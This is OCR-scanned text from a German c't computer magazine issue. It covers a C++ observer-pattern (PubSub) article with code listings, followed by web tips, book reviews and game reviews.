man dieses Verhalten so imple- 
mentieren, dass die Objekte di- 
rekt die passenden Funktionen 
der Zielobjekte aufrufen (Explo- 
sion auslösen, Score erhöhen, 
Gegner löschen), führte das un- 
weigerlich zu Spaghetticode. 

Zur Lösung dieses Problems 
bieten C++-Bibliotheken wie 
Boost oder Qt Signalisierungs- 
funktionen an [1, 2, 3]. Vor allem 
der Signal/Slot-Mechanismus in 
Qt lockt mit einfacher Bedie- 
nung. Allerdings schleppt man 
mit beiden Frameworks eine 
Menge Ballast mit sich herum. 


Abonnenten 


Wer sich keinen Klotz ans Bein 
hängen will, sondern eine leicht- 
gewichtige Lösung bevorzugt, 
implementiert besser das so- 
genannte Beobachter-Entwurfs- 
muster, auch Publish/Subscribe 
(kurz: PubSub) genannt. Es ver- 
folgt das Prinzip der losen Kopp- 
lung, sorgt also für einen gerin- 
gen Grad der Abhängigkeit unter 
den Objekten. Änderungen einer 
Klasse wirken sich somit nicht auf 
andere Klassen aus, die mit ihr via 
PubSub in Verbindung stehen. 
Ein Objekt, das Nachrichten 
empfangen will (Beobachter, Ob- 
server), muss von der abstrakten 
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Klasse Subscriber erben und deren 
rein virtuelle Methode notify() im- 
plementieren. Im Listing oben ist 
die Methode mit zwei Parame- 
tern definiert. Über den ersten 
kann der Publisher einen Wert über- 
mitteln, im zweiten einen Zeiger 
auf sich selbst. Das ist nützlich, 
wenn notify() die eintreffenden 
Nachrichten unterscheiden soll. 

Die Klasse Variant repräsentiert 
einen Wert variablen Typs. Eine 
kompakte Implementierung die- 
ser Klasse, die ähnlich einer union 
Ganzzahlen, Gleitkommazahlen, 
Strings und Zeiger aufnehmen 
kann, finden Sie im Beispielcode 
zu diesem Artikel (siehe c’t-Link 
am Ende). Über die Variant-Metho- 
de isValid() kann man zum Beispiel 
herausfinden, ob der Variant über- 
haupt einen Wert enthält; isDou- 
ble() liefert true, wenn eine dop- 
pelt genaue Gleitkommazahl 
darin gespeichert ist, toDouble() 
gibt den Wert heraus. 


Anbieter 


Objekte, die Nachrichten verschi- 
cken sollen, müssen von Publisher 
ableiten. Damit gehört ihnen die 
Methode subscribe(), die den über- 
gebenen Subscriber in eine Objekt- 
eigene Liste einträgt. unsubscribe() 
macht das für den übergebenen 
Subscriber wieder rückgängig. 

Die Klasse Publisher führt die 
Liste als (normalerweise doppelt) 
verkettete Liste vom Typ std::list. 
Ebenso gut hätte man auch 
std::vector verwenden können - die 
Komplexität beim Hinzufügen 
von Einträgen ist in beiden Fällen 
konstant. Beim Löschen ist sie li- 
near zur Anzahl gespeicherter 
Elemente; allerdings verlangt der 
vector dafür einen größeren Pro- 
grammieraufwand; bei list genügt 
ein simples remove() mit dem zu 
entfernenden Wert als Parameter. 


class Publisher; 


class Subscriber { 
public: 
virtual void notify(const Variant &message = Variant), 
Publisher *sender = nullptr) = 0; 


r 
typedef std::list<Subscriber*> SubscriberList; 


class Publisher { 
public: 
Publisher(void) : isBlocked(false) { /* ... #/ } 


void subscribe($ubscriber *subscriber) { 
subscribers.push_back(subscriber); // 0(1) 
} 


void unsubscribe($ubscriber *subscriber) { 
subscribers.remove(subscriber); // 0(n) 


void broadcast(const Variant &message, 
Subscriber *ignoredSubscriber = NULL) 
{ 
if (isBlocked) 
return; 
SubscriberList::iterator s; 
for (s = subscribers.begin(); s != subscribers.end(); ++s) 
if (xs != ignoredSubscriber) 
(xs)->notify(message, this); 
} 


void block(bool blocked) { 
isBlocked = blocked; 
} 


private: 
SubscriberList subscribers; 
bool isBlocked; 


ı 


Der Publisher registriert die Instanzen der konkreten Subscriber- 
Klassen. Geschieht etwas im Publisher, ruft er der Reihe nach die 
Methode notify() der registrierten Subscriber auf. 


class Bell : public Subscriber { 
public: 
Bell(void) C /x ... #/} 


void notify(const Variant &message, Publisher *sender = NULL) { 
if (!message.isInteger()) 
return; 
int duration = message.tolnt(); 
std::cout << duration << " Sekunde" << (duration == 1? "" : "n") 
<< " klingeln" << std::endl; 
} 


Yp 


class Lamp : public Subscriber { 
public: 
Kanp Oo / 


void notify(const Variant &message, Publisher *sender = NULL) { 
if (!message.isInteger() || message.tolnt() <= 1) 
return; 
std::cout << "Alarmleuchte ist an." << std::endl; 
} 
}; 


class BellButton : 
public: 
BellButton(void) { /* ... #/ } 


public Publisher { 


void press(void) { 
broadcast(1); 
" 


void pressLong(void) { 
broadcast(5); 
} 


}; 


Ein konkreter Subscriber muss lediglich die Methode notify() 
der abstrakten Elternklasse implementieren. Im Publisher sendet 
der Aufruf von broadcast() das gewünschte Signal aus. 


c't 2015, Heft 4 
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PubSub in UML 


Die Schnittstellen von Publisher und Subscriber 


könnten kaum einfacher sein. 


Publisher 


+void subscribe(Subscriber *) 
+void unsubscribe(Subscriber *) 
+void broadcast(const Variant &) 


-std::list<Subscriber *> subscribers 


BellButton 


Das Eintreten eines Ereignisses 
signalisiert ein Publisher-Objekt, 
indem es für alle in der Liste ent- 
haltenen Subscriber deren Methode 
notify() aufruft. Das geschieht in 
broadcast(). Die Funktion kehrt 
ohne etwas zu tun sofort zurück, 
wenn das Flag isBlocked gesetzt ist. 
Auf diese Weise lassen sich Sig- 
nale übergangsweise durch den 
Aufruf von block(true) unterdrü- 
cken, ohne dass man mit unsubscri- 
be die Subscriber aus der Liste ent- 
fernen müsste. Der Aufruf von 
block(false) löst die Blockade. 


Verbindung 


Das Listing unten zeigt am Bei- 
spiel eines Klingelknopfs (BellBut- 


* 


+void notify(const Variant &, Publisher *) = 0 


+void notify(const Variant &, Publisher *) 


ton), einer Klingel (Bell) und einer 
Leuchte (Lamp), wie man Sender 
und Empfänger implementiert. 
BellButton::press() und BellButton::press- 
Long() stehen für kurzes und lan- 
ges Drücken, was die Methoden 
durch den Aufruf von broadcast(1) 
und broadcast(5) möglichen Emp- 
fängern anzeigen. 

In den Empfängern bearbeitet 
die Methode notify() nur Ereignis- 
se mit einer Nachricht, die eine 
Ganzzahl enthält. Zu Demonstra- 
tionszwecken geben sie lediglich 
aus, welches Ereignis eingetre- 
ten ist. 

Die neuen Klassen lassen sich 
ganz leicht verwenden. Nach 
dem Anlegen der benötigten 
Objekte mit 
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BellButton button; 
Bell bell; 
Lamp lamp; 


stellt 


button.subscribe(&bell); 
button.subscribe(&lamp); 


die Verbindungen zwischen 
Knopf und Klingel sowie Knopf 
und Leuchte her. 

Der Aufruf von 


button.press(); 
button.pressLong(); 


löst die beiden definierten Ereig- 
nisse aus, woraufhin auf dem 
Bildschirm Folgendes erscheint: 


1 Sekunde klingeln 
5 Sekunden klingeln 
Alarmleuchte ist an. 


Vorsicht 


Das Beobachter-Entwurfsmuster 
ist schlank und effizient - aber 
auch nicht ohne Tücken. Vor- 
sicht ist bei der Implementie- 
rung eines Subscriber geboten: 
Macht er Anstalten, Ereignisse im 
abonnierten Publisher auszulösen, 


kann das zu Endlosschleifen 
führen. 

In Multithread-Programmen ist 
vor allem in Subscriber::notify() dafür 
zu sorgen, dass gleichzeitige 
Aufrufe nicht zu undefinierten 
Zuständen führen, etwa durch 
Einsatz von Mutexen. Die Queued- 
Connection der Qt-Bibliothek ver- 
meidet dieses Problem von vorn- 
herein, weil sie Benachrichtigungen 
in eine Warteschlange einreiht. 
Wie man das mit Hilfe der Boost- 
Bibliothek nachempfinden kann, 
zeigt ein künftiger Artikel. (ola) 
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Internet | Web-Tipps 


Armicht Formel Ti Anondnn Ostionm Mile (0 


BER : 


draw.io lässt sich 
auch als 
Pinmwand benutzen 


Sonntag: 
Bälle richt 
vergessen! 


Würdige Charts 


www.draw.io 
https://developers.google.com/chart/ 

interactive/docs/index 
www.charted.co 


Ein Bild sagt mehr als viele Worte, insbeson- 
dere wenn komplexere Sachverhalte veran- 
schaulicht werden wollen. Draw.io bietet 
dafür einen schönen Diagramm-Editor, der 
nicht nur viele weit verbreitete Darstellungs- 
weisen, sondern auch ausgefallenere Vorla- 
gen im Gepäck hat, beispielsweise für Venn- 
Diagramme. Selbst Mock-ups für iOS und An- 
droid sowie Infrastruktur-Bildchen für Micro- 
softs Azure und Amazon Web Services lassen 
sich entwerfen. Gruppierungen, Verknüp- 
fungspunkte für Formen und ein Gitternetz 
helfen beim Entwurf. Die fertigen Diagramme 
stellt Draw.io als PDF-, JPG- und PNG-Datei 
zum Herunterladen bereit oder legt sie in der 
Cloud bei Google Drive oder DropBox ab. 
Google Charts richtet sich speziell an Ent- 
wickler von Webseiten. Mit vorgefertigtem 
JavaScript können sie auf einfache Art und 
Weise Daten in hübsche Charts packen. 


Hype-Videos 


Ein eher langweiliges Klinker-Einfamili- 
enhaus steht im niederländischen Erme- 
lo zum Verkauf. Wie erzeugt man damit 
weltweite Aufmerksamkeit? Indem man 
eine kleine Achterbahn einbaut, mit der 
die Interessenten durch das Haus fahren. 


http://youtu.be/D2QOtnLdnLQ 
(1:30, niederländisch) 


How much is the fish? Nach dem kul- 
tigen „Supergeil“-Werbespot mit dem 
Musiker Friedrich Liechtenstein hat 
Edeka jetzt mit H.P. Baxter nachgelegt. 
Hyper, Hyper! 


http://youtu.be/ldEH_ZBv-WQ 
(1:07, deutsch) 
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Unter den Vorlagen 
sind neben gängigen 
Kandidaten auch solche 
wie Candlestick oder 
Gauge - eine praktische 
Tachometer-ähnliche 
Anzeige. charted.co be- 
nötigt nur den Link auf 
eine CSV-Datei oder ein 
Google Spreadsheet, 
um automatisch schi- 
cke Grafiken zu zau- 
bern, die sich auch tei- 
len lassen. Allerdings 
beschränkt sich der 
Dienst auf simple Bal- 
ken- und Liniencharts. 

(Tobias Engler/jo) 


Montag: 
Reilenwechsel 


Ein Account für @weden 


http://curatorsofsweden.com 
https://twitter.com/ireland 


@sweden klingt wie ein offizieller Twitter-Ac- 
count des skandinavischen Landes. Und in 
der Tat betreibt das Swedish Institute den 
Account, eine Kommunikationsagentur, die 
dem Außenministerium untersteht. Aber 
statt amtlicher Verlautbarungen findet man 
dort Volkes Stimme: Jeder Schwede darf für 
eine Woche ein sogenannter Curator of 
Sweden werden und das Twitter-Konto be- 
spielen - mit allem, was auch immer ihm ein- 
fällt. Die Beiträge reichen von Sonnenunter- 
gangsfotos über die Döner-Pizza als Beweis 
für eine gelungene Einwanderungspolitik bis 
hin zu handfesten politischen Statements. 
„Wir versuchen bei der Auswahl der Kurato- 
ren ein möglichst vielfältiges Bild zu zeich- 
nen”, so Frida Roberts, die Leiterin des Swe- 
dish Institute. 

Das Bemerkenswerte an @sweden ist we- 
niger, dass es diesen Account gibt. Er ist be- 
reits drei Jahre alt. Es ist die Tatsache, dass es 
ihn noch gibt. Zwei handfeste Krisen musste 
die Initiative bereits überstehen. Ein Kurator 
stilisierte Masturbation zu seiner winterli- 
chen Lieblingsbeschäftigung und eine Kura- 
torin zog einen missglückten Vergleich über 
„die Juden“. „Das war die härteste Zeit mei- 
nes Lebens“, gibt Roberts unumwunden zu. 

Dennoch entschied man sich im schwedi- 
schen Außenministerium dazu, das Projekt 
weiter laufen zu lassen, nachdem heftig dis- 
kutiert worden war, für was „Schweden” 
steht. „Wir sind nicht nur Abba, Elche und 
Ikea. Wir stehen für Meinungsfreiheit und 
-vielfalt“, sagt Roberts. Das fanden übrigens 
die Iren so gut, dass sie das Projekt gleich ko- 
pierten: @ireland. (Frank Puscher/jo) 


Innovative Jobtitel 


http://siliconvalleyjobtitlegenerator. 
tumblr.com 


Als CEO, also Chef Executive Officer, mögen 
Sie zwar der Chef Ihres Unternehmens sein. 
Besonders sexy ist die Bezeichnung aber 
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nicht. Um beim Start-up-Pitch oder gar im Si- 
licon Valley etwas herzumachen, muss schon 
ein kreativerer Titel her. Wie wäre es mit 
„Crowdfunding Curator”, „Intelligence Agita- 
tor“ oder „Grand Poobah of the Online 
Space"? Der Silicon Valley Job Title Gene- 
rator hilft, solch eine zeitgemäße Job-Be- 
zeichnung zu finden. Einfach so lange den 
mit „Create another Job“ beschrifteten Knopf 
drücken, bis der Dienst etwas Passendes aus- 
wirft. (jo) 


Welche Farbe ist es? 
http://whatcolourisit.scn9a.org 


What colour is it ist eine einfache, das 
Browserfenster füllende Uhr mit Angabe der 
Stunden, Minuten und Sekunden. Die Beson- 
derheit: Sie interpretiert die drei Zeitanga- 
ben als RGB-Farbwerte und setzt damit ihre 
Hintergrundfarbe. Jede Sekunde des Tages 
hat so ihre eigene Farbe. 15 Uhr 13 und 59 
Sekunden etwa entspricht einem satten 
blau, eine Sekunde später ist der Hinter- 
grund fast schwarz. (jo) 


Problem Size: 2U 


Sortier-Wettbewerb 


www.sorting-algorithms.com 


Bubble, Merge, Heap, Quick und Co.: Jeder 
Informatikstudent sollte wissen, wie die 
wichtigsten Sortieralgorithmen funktionie- 
ren und wo ihre Stärken und Schwächen lie- 
gen. Bei Sorting Algorithm Animations 
kann man ihnen bei der Arbeit zusehen, 
also beim Sortieren unterschiedlich langer 
Striche. 

Die Site lässt acht gängige Sortierverfah- 
ren in vier Disziplinen, also Anfangsbedin- 
gungen, gegeneinander antreten: Zufällige 
Anordnung der zu sortierenden Elemente, 
fast sortierte Folge, invertierte Folge und „we- 
nige gleich große zu sortierende Elemente“. 
Jeder Algorithmus wird in einer Art Program- 
miersprache beschrieben und seine komple- 
xitätstheoretischen und andere Eigenschaf- 
ten werden diskutiert. Außerdem listet die 
Site viele weiterführende Links auf. (jo) 


dE Diese Seite mit klickbaren Links: 
ct.de/ymig 
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Andreas Schubert 


CoffeeScript 


Die Alternative zu JavaScript - 
eine kompakte Einführung 


Was tut derjenige, der mit JavaScript ar- 
beiten muss, aber Syntax und Handhabung 
dieser Standard-Scriptsprache allzu kom- 
pliziert findet? Er greift zu der erweiterten 
und deutlich bequemeren Sprachvariante 
CoffeeScript; der darin verfasste Code wird 
in JavaScript übersetzt. Beim Web-App- 
Framework Ruby on Rails fungiert Coffee- 
Script von Haus aus als JavaScript-Prä- 
Prozessor. 

Die 2009 vorgestellte Sprache kann Zeit 
und Nerven sparen. Mit seinem Einfüh- 
rungshandbuch will Andreas Schubert vor- 
wiegend JavaScript-Erfahrene dafür gewin- 
nen. Er beschreibt den Sprachumfang, weiß 
aber auch Erhellendes über das dahinter- 
stehende Konzept zu sagen. Wer gleich 
praktische Schritte vollziehen will und zu- 
mindest rudimentäre System- und Pro- 
grammierkenntnisse hat, gelangt mit Schu- 
berts Hinweisen zu einer funktionsfähigen 
Entwicklungsumgebung unter Ubuntu, 
Windows und Mac OS X. 

Auch für die Lektüre der Syntaxbeschrei- 
bung, die sich an den Einleitungsteil an- 
schließt, sollte man mit den Grundprinzi- 
pien des Programmierens vertraut sein. Die 
Besonderheiten des CoffeeScript-Compilers 
im Vergleich zur reinen Skriptsprache 
JavaScript bilden den Schwerpunkt der 
Ausführungen. 

Dank der engen Einbindung von Coffee- 
Script in Ruby on Rails beziehen sich viele Ab- 
schnitte im Buch gezielt auf das Framework. 
Wo es um Objektorientierung und Klassen- 
behandlung sowie das Arbeiten mit Test- 
werkzeugen unter Verwendung der Java- 
Script-Bibliothek Chai geht, verlässt Schu- 
bert vollends die Novizenzone und wendet 
sich an erfahrene Entwickler. Schließlich wer- 
den noch das Zusammenspiel von jQuery 
und CoffeeScript in Ruby-on-Rails-Anwen- 
dungen exemplarisch angeschnitten. 

Die Quellcodes zum Buch stehen unter 
der Adresse https://github.com/aschubert/ 
coffeescript-buch zum Download bereit. 

(Ulrich Schmitz/psz) 
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Inkscape 


DER WEG ZUR 
PROFESSIONELLEN 
VEKTORGRAFIK 


Uwe Schöler 


Inkscape 


Der Weg zur professionellen 
Vektorgrafik 


Mancher, der den Umgang mit pixelorien- 
tierten Malprogrammen gewohnt ist und 
erstmals mit Vektorgrafikobjekten arbeitet, 
erlebt einen Fremdheitsschock. Die von Pa- 
pier und Bleistift her bekannte Mal-und- 
Lösch-Logik wird durchbrochen. Objekte 
und Beschriftungen sind jederzeit skalier- 
bar, lassen sich flexibel kopieren, vor- und 
hintereinander anordnen sowie mit Attri- 
buten verschiedener Art ausstatten. Das 
Austauschen eines Hintergrunds funktio- 
niert ohne fitzelige Freistellarbeit. 

Für viele Vektorgrafikaufgaben eignet 
sich Inkscape. Das freie Softwareprodukt be- 
kommt man für Linux, FreeBSD, Windows 
und Mac OS X; eine lebendige Community 
entwickelt es ständig weiter. Die dazugehö- 
rige Dokumentation ist allerdings nicht wirk- 
lich einsteigergerecht. Hier setzt Schöler mit 
seinem bunt und lesefreundlich gestalteten 
Buch an, das keine Kenntnisse voraussetzt. 

Ausführlich stellt er die Bedienelemente 
und Werkzeuge von Inkscape vor. Er kon- 
zentriert sich dabei auf die wichtigsten 
Funktionen zum Zeichnen geometrischer 
Formen und zur Arbeit mit Text. Erst relativ 
spät geht es darum, mit verschiedenen 
Ebenen zu arbeiten und komplexe Objekte 
zu manipulieren. Wer weit genug vordringt, 
erfährt auch noch einiges über Filtermecha- 
nismen und Erweiterungen. Allerdings be- 
schreibt Schöler nicht, wie man eigene Er- 
weiterungen in Inkscape einbaut. 

Ein ganzes Kapitel ist der Gestaltung von 
Webseiten mit Inkscape gewidmet. Für 
erste Layout-Prototypen ist das nützlich - 
das Vektorgrafikprogramm ersetzt aber kei- 
nen HTML-Editor. 

Schöler geht von der Inkscape-Version 
0.48.4 aus (aktuell: 0.48.5; keine relevanten 
Unterschiede). Er behandelt zudem aus- 
führlich die wichtigsten Neuerungen der 
kommenden Version 0.91. Dem gedruckten 
Buch liegen ein Code für den kostenlosen 
Download des E-Books sowie eine CD-ROM 
mit dem Programm, den Beispieldaten so- 
wie Lernvideos bei. (Maik Schmidt/psz) 
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Köln 2014 
Peter Recktenwald O'Reilly 
Hacks für die | 384 Seiten 
Digitale 35€ 
Fotografie a 
ende ISBN 978-3- 


Peter Recktenwald 


Hacks für die 
digitale Fotografie 


Digitalfotografie mit Arduino 
und Raspberry Pi 


Eine Digitalkamera (oder Smartphone-Linse) 
und ein PC mit Bildbearbeitungssoftware 
ergeben bereits ein fast vollständiges Ar- 
beitssystem für Fotografen. „Fast“ deshalb, 
weil Kamerazubehör, Beleuchtungstechnik 
und jede Menge Drumherum unterschiedli- 
cher Nützlichkeit praktisch keine Grenzen 
kennen. Wer keinen persönlichen Goldesel 
besitzt, entdeckt schnell die Vorzüge trick- 
reicher Do-it-yourself-Lösungen. Mit Mikro- 
controller, PC-Technik und allerlei Bastel- 
material schafft er sich sein eigenes Effekt- 
studio. Recktenwald zeigt, wie es geht. 
Keine anspruchsvollere Elektronikbas- 
telei kommt heute ohne Arduino oder 
Raspberry Pi aus. Deren Vorstellung nimmt 
breiten Raum im Einstiegsteil des Buches 
ein. Hier erhält man auch eine kurze Einfüh- 
rung in die C-Programmierung, in die 
Mikroelektronik allgemein sowie in Fritzing, 
eine Software zur Schaltungsdarstellung. 
Gewissermaßen nebenbei entsteht schon 
mal ein automatischer Belichtungsmesser. 
Auch mechanische Bastelei kommt nicht 
zu kurz: So finden sich Anleitungen zum Bau 
eines Aufnahmetischs, eines Kamera-Sliders 
und einer Stativhalterung. Insgesamt spielt 
aber digitale Elektronik die zentrale Rolle. 
Recktenwald nutzt viele unterschiedliche 
Sensoren, um Kameras und Blitzlichter auto- 
matisch auszulösen. Auch zeigt er, wie sich 
Motoren für Kameraschlitten und LEDs für 
Lichteffekte steuern lassen. Die Reihenfolge 
der Schaltungsbeschreibungen ist ziemlich 
unsystematisch. Die meisten davon ver- 
sammeln sich allerdings schließlich in einem 
hochkarätigen Vielzweck-Foto-Controller. 
Der Löwenanteil der Bauvorschläge be- 
zieht sich auf den Arduino. Die wenigen 
Kapitel, in denen der Raspberry Pi auf- 
taucht, drehen sich hauptsächlich um Soft- 
ware. Die Bauanleitungen sind ausführlich 
und reich bebildert. Sie setzen aber solide 
Elektronikkenntnisse voraus und erfordern 
einiges an handwerklichem Geschick. 
(Maik Schmidt/psz) 
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Spiele | Online-Weltraumsimulation, Episoden-Adventure 


Ritter der Milchstraße 


Im Jahr 3300 hat der Mensch die 
Sterne erobert. In kleinen und 
großen Schiffen jagen Glücksrit- 
ter durch den tiefen Raum, trei- 
ben Handel und erforschen die 
Wunder der Galaxis. 

Elite: Dangerous von Altmeis- 
ter David Braben ist das von Sci- 
ence-Fiction-Freunden wohl 
meist erwartete Spiel der letzten 
Jahre. Wer Brabens „Elite”-Ever- 
green von 1984 kennt, findet in 
„Dangerous“ viel Liebgewon- 
nenes wieder: Das beginnt bei 
Schiffstypen und setzt sich im Ge- 
fühl unendlicher Weite und 
Handlungsfreiheit fort, das beim 
Spielen aufkommt. Der Aktions- 


Elite: Dangerous 


Vertrieb Frontier Developments, 
www.elitedangerous.com 

Betriebssystem Windows 8, 7 

Hardware- Mehrkernsystem, 4 GByte 

anforderungen RAM, 1-GB-Grafik 

Kopierschutz Online-Aktivierung und 
Serverbindung 

Mehrspieler theoretisch unbegrenzt, online 

Idee ® Umsetzung ®® 

Spaß ®® Dauermotivation ® 


Deutsch + USK nicht geprüft; red. Empf.: ab 12 * 
50€ 


raum orientiert sich an der realen 
Milchstraße. Das Spiel kennt 
400 Milliarden Sternsysteme; der 
Kern von 160 000 Systemen be- 
ruht auf astronomischen Realda- 
ten. Zu Beginn sind dem Spieler 
nur wenige Planeten bekannt; 
Erkundungsfahrten enthüllen im- 
mer weitere. In diesem rein ser- 
verorientierten Spiel begegnet 
man nicht nur im Multiplayer-, 
sondern auch im Solo-Modus im- 
mer wieder Spuren anderer Teil- 
nehmer - jeder prägt durch seine 
Aktionen die Verhältnisse in Tei- 
len des Weltraums mit. 
Entdeckun- 
gen, Handel 
und Kampf 
bilden die drei 
Säulen von „Dan- 
gerous”. Die enormen 
Entfernungen sind nur mit 
Überlichtgeschwindigkeit zu be- 
wältigen („Supercruise”). Landen 
kann man nur auf Orbitalstatio- 
nen; Planetenoberflächen blei- 
ben tabu. Per Menü kauft und 
verkauft man auf lokalen Märk- 
ten, belädt das Schiff und fliegt 
weiter. Turbulente Abenteuer 
winken demjenigen, der eine 
Karriere als Kopfgeldjäger ein- 
schlägt und Piraten und 


Schmuggler jagt. Die Steuerung 
der Schiffe hat es allerdings in 
sich. „Dangerous“ unterstützt 

PC-Tastatur, Gamepads und 
Joysticks. Es emp- 


fiehlt sich, Letz- 
tere zu nutzen. 

Das kampf- 

fliegerische 

Können trai- 
niert man in sieben Szenarien, 
die manuelles und taktisches 
Geschick erfordern. Neulinge 
sind stundenlang beschäftigt, 
bis sie die Fülle von Details bei 
Start, Supercruise und Landung 
beherrschen. Es gibt 30 Schiffs- 
typen von kleinen Jägern bis zu 
gewaltigen Frachtern. Wer erste 
Credits verdient hat, beginnt 
damit, die große Auswahl des 


Spitze Zungen, scharfe Schwerter 


Das mittelalterlich geprägte Kö- 
nigreich Westeros ist in Aufruhr. 
Inmitten eines zähen Bürger- 
kriegs wird der minderjährige 
Ethan zum Oberhaupt des Hau- 
ses Forrester. Derweil muss seine 
Schwester Mira, die in der Kö- 
nigsstadt Hilfe sucht, um ihren 
Kopf fürchten. Der Knappe 
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Gared wiederum spürt einem 
Geheimnnis nach, das die Fami- 
lie retten könnte. 

Erstmals in einem Telltale- 
Spiel steuert man bei Game of 
Thrones durchgängig drei Figu- 
ren. Während bei Gared mit eini- 
gen Kämpfen und Quicktime- 
Events am meisten Bewegung 


Right Glickro Back Out 


herrscht, entwickelt sich Miras 
Geschichte fast ausschließlich in 
taktischen Dialogen. Der junge 
Lord Ethan hat den spannends- 
ten Handlungsstrang - Nerven- 
kitzel ist insbesondere dann an- 
gesagt, wenn Ethan auf den ge- 
rissenen Sadisten Ramsay Bolton 
trifft. 

Das Spiel ist in erster Linie auf 
die Freunde der gleichnamigen 
US-Fernsehserie zugeschnitten, 
die nicht nur die Spielwelt, son- 
dern die gesamte komplexe Vor- 
geschichte liefert. Die Sprach- 
ausgabe ist vorzüglich; als Stim- 
men für Margaery, Cersei und 
Ramsay konnten die Macher die 
Schauspieler der Originalserie 
gewinnen. 

In insgesamt sechs Episoden 
soll die Geschichte des Hauses 
Forrester erzählt werden. Wer die 
erste Folge kauft, erwirbt damit 
auch bereits die fünf kommen- 
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Upgrade-Systems kennenzuler- 
nen. 

Die Grafik ist atemberaubend. 
Um das zu merken, braucht man 
keinen A4K-Monitor und keine 
Oculus Rift zu bemühen (beides 
wird unterstützt). Schon gängige 
Monitore offenbaren eine unge- 
wohnte Pracht - von der Cockpit- 
Ausstattung über die riesigen 
Stationen bis zu Kometenschau- 
ern. Anders als zunächst ange- 
kündigt erfordert das Spiel stän- 
dige Online-Verbindung, was et- 
liche Kickstart-Unterstützer der 
ersten Stunde verärgert hat. Laut 
Brabens Entwicklerstudio Frontier 
war das angepeilte Spielkonzept 
letztlich nicht ohne zentrale Ser- 
versteuerung zu verwirklichen. 

(Stephan Greitemeier/psz) 


Game of Thrones - 


Episode 1: Iron from Ice 
Vertrieb 


Telltale, www.telltalegames. 
com/gameofthrones 
Windows 8, 7, Vista, XP SP3; 
Mac 05 X ab 10.6; außerdem 
PS3, Xbox360 


Betriebssystem 


Hardware- Mehrkernsystem, 3 GByte 
anforderungen RAM, 512-MByte-Grafik 
Kopierschutz Online-Aktivierung und 
-Registrierung über Steam 
Idee ® Umsetzung (®) 
Spaß ® Dauermotivation © 


1 Spieler + Englisch - USK 16 - 28 € 


den. Der Erstling ist in nur zwei 
Stunden durchgespielt und man 
kann nur geringen Einfluss auf 
den Verlauf der Geschichte neh- 
men. Die Atmosphäre von Miss- 
trauen und Bedrohung kommt 
im Spiel sehr überzeugend herü- 
ber. Und auch in Bezug auf über- 
raschende Wendungen in der 
Handlung bleibt es der Vorlage 
treu: Prinzipiell kann jeder Akteur 
jederzeit sterben. 

(Stephan Greitemeier/psz) 


c't 2015, Heft 4 


Baggerlärm und Sägemehl 


Der Kindertraum vom Bagger- 
fahren wird am heimischen Mo- 
nitor digitale Wirklichkeit. Simu- 
lationsmacher widmen wirt- 
schaftlichen Aspekten gern 
große Sorgfalt, während glaub- 
würdiges Drumherum und grafi- 
sche Gestaltung oft weniger Auf- 
merksamkeit genießen. Astra- 
gons Bau-Simulator 2015 hin- 
gegen weckt im Spieler die Lust, 
sich virtuell die Hände schmutzig 
zu machen. Wenn er seine kleine 
Baufirma zum großen Unterneh- 
men entwickelt, hantiert er nicht 


Bau-Simulator 2015 


Vertrieb Astragon, 
www.bau-simulator.de 
Betriebssystem Windows 8, 7, Vista, 
Mac 05 X ab 10.6 
Hardware- Mehrkernsystem, 4 GByte 
anforderungen RAM, 1-GByte-Grafik 
Kopierschutz Online-Registrierung und 
-Aktivierung über Steam 
Mehrspieler 4online 
Idee ® Umsetzung [©) 
Spaß © Dauermotivation © 
Deutsch - USKO- 18€ | 


nur mit Tabellen und Zahlenwer- 
ten, sondern hat es mit schön 
detailliert nachgebildeten Bau- 
maschinen und einer prächtigen 
Landschaft süddeutscher Prä- 
gung zu tun. 

Die sommerliche Welt um das 
Dorf Wolfsheim herum weist Sä- 
gewerke, Gartenhändler und 
Kiesgruben auf. In der nahen 
Stadt Fuchsberg kann man den 
Fuhrpark erweitern: Hier lassen 
sich 14 Nutzfahrzeuge von Her- 
stellern wie Liebherr und MAN 
erwerben. Jedes Fahr- 
zeug, vom Gabelstapler 
bis zum Baukran, hat 
seine charakteristische 
Steuerung. Sämtli- 
che Übersichten 


und Menüs 
sind hübsch 
und unkompli- 
ziert gestaltet. 


Aufträge werden in 
Einzelschritte unterteilt, 

ein spielbares Tutorial lehrt die 
Grundlagen. Im Online-Modus 
kann man zudem als Bauherr 


Für eine Handvoll Dust 


Der Planet Auriga hat eine ein- 
zigartige Geschichte. Vor Jahr- 
tausenden landeten Reisende 
von fremden Welten hier und er- 
richteten eine hoch entwickelte 
Zivilisation. Nachdem diese 
in einem blutigen Bür- 
gerkrieg unterging, 
suchen neue Ras- 
sen ihre Chance: 
magiebegabte Völker wie 
die Drakken und die vielar- 
migen Kultisten, Krieger 
wie die geisterhaften Gebroche- 
nen Lords, naturverbundene 
Leute wie die Wildläufer. Acht 
Völker und Dutzende von Ne- 
benfraktionen ringen miteinan- 
der um die Vorherrschaft, bevor 
der kommende finale Winter 
alles Leben auf Auriga vernich- 
ten wird. 

Mit Endless Legend legt das 
französische Entwicklerstudio 
Amplitude ein rundenorientier- 
tes Strategiespiel für Fantasy- 
Freunde vor, die sich gern in eine 
komplexe fremdartige Welt mit 
liebevoll ausgearbeitetem Hin- 
tergrund hineinversetzen lassen. 
Genrekenner finden sich schnell 


c't 2015, Heft 4 


zurecht; Steuerung und Aufbau 
entsprechen klassischen Mus- 
tern wie bei Civilization. Die acht 
Rassen sind gut entworfen, mit 
stark unterschiedlichen Quali- 
täten und reicher Kultur. Aus- 
gehend von ihnen kann der 
Spieler sich zudem eigene 
Fraktionen bauen. Die wich- 
tigste Ressource ist „Dust” - 
diese Substanz ermöglicht 
beschleunigtes Wachstum 


und dient zugleich als Wäh- 
rung. Beim Kontakt mit fremden 
Fraktionen wählt man zwischen 


Spiele | Simulation, Fantasy-Strategie 


auftreten und Aufgaben an bis 
zu drei Mitspieler verteilen. 

Der auf den ersten Blick gran- 
diose Eindruck trübt sich im 
Spielverlauf ein wenig. 
So sind die vorgegebe- 
nen Kameraperspekti- 

ven für genaues Ma- 
növrieren kaum 
zu gebrauchen; 
man muss die Op- 
tion für die freie 
Kamera wählen. 
Unfälle bleiben ohne 

Konsequenzen - das gilt 
selbst, wenn ein Baulaster 
sich überschlägt. Auftretende 
Probleme werden gemeldet, 
aber es gibt keine Lösungsemp- 


drei Taktiken: Angriff, Beste- 
chung, Friedensverhandlungen. 

Technische Errungenschaften 
entstehen bei Endless Legend 
nicht innerhalb der üblichen 
Baumstrukturen. Vielmehr arbei- 
tet das Spiel mit Erforschungs- 
kreisen, die in sechs Epochen or- 
ganisiert sind. Nur wenn neun 
Kreise einer Ära erforscht sind, 
